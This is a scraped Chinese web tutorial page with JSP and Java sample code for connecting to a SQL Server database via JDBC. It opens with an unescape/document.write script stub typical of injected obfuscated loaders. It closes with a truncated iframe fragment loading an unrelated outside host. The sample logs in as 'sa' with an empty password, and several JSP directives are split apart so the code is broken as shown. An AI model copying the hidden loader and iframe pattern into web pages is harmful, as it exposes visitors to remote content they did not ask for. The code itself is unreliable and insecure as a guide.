HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
JSP连接SQLSERVER代码示例
连接SQLSERVER的JAR包下载地址
http://www.microsoft.com/downloads/info.aspx?na=46&p=3&SrcDisplayLang=en&SrcCategoryId=&SrcFamilyId=07287b11-0502-461a-b138-2aa54bfdc03a&u=http://download.microsoft.com/download/4/1/d/41d3e9c0-64d1-451e-947b-7a4cba273b2d/mssqlserver.tar&oRef=http://www.microsoft.com/downloads/Browse.aspx?displaylang=en&categoryid=3
连接SQLSERVER的示例代码
try
{
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
String sqlServerUrl = "jdbc:microsoft:sqlserver://192.168.18.253:1433;databasename=eas511_0711_sql";
Connection conn = DriverManager.getConnection(sqlServerUrl,"sa","");
Statement s = conn.createStatement();
ResultSet re = s.executeQuery("select * from WHS1");
while(re.next())
{
System.out.println(re.getInt("col1"));
System.out.println(re.getString("col2"));
}
}
catch(ClassNotFoundException e)
{
} catch (SQLException e) {
// TODO 自动生成 catch 块
e.printStackTrace();
}
<
%@page
import="java.sql.CallableStatement"%>
<
%@page
import="java.sql.Connection"%>
<
%@page
import="java.sql.DriverManager"%>
<
%@page
import="java.sql.PreparedStatement"%>
<
%@page
import="java.sql.ResultSet"%>
<
%@page
import="java.sql.SQLException"%>
<
%@page
import="java.sql.Statement"%>
<
%@page
import="java.sql.Types"%>
<
%@page
import="java.util.*"%>
<%
Connection conn = null;
Date d = new Date();
out.println(d.toString());
try
{
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
String sqlServerUrl = "jdbc:microsoft:sqlserver://192.168.18.253:1433;databasename=eas511_0711_sql";
conn = DriverManager.getConnection(sqlServerUrl,"sa","");
Statement s = conn.createStatement();
ResultSet re = s.executeQuery("select * from WHS1");
while(re.next())
{
out.println(re.getInt("col1"));
out.println(re.getString("col2"));
//System.out.println("System");
}
}
catch(ClassNotFoundException e)
{
out.println("no class found");
e.printStackTrace();
} catch (SQLException e) {
// TODO 自动生成 catch 块
e.printStackTrace();
}
finally
{
if(conn != null)
try {
conn.close();
out.println("has closed the connection");
} catch (SQLException e) {
// TODO 自动生成 catch 块
e.printStackTrace();
}
}
%>
<br>
<% out.println(d.toString());%>
JSP代码示例如上
CLASSPATH环境变量要设置到具体的文件
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
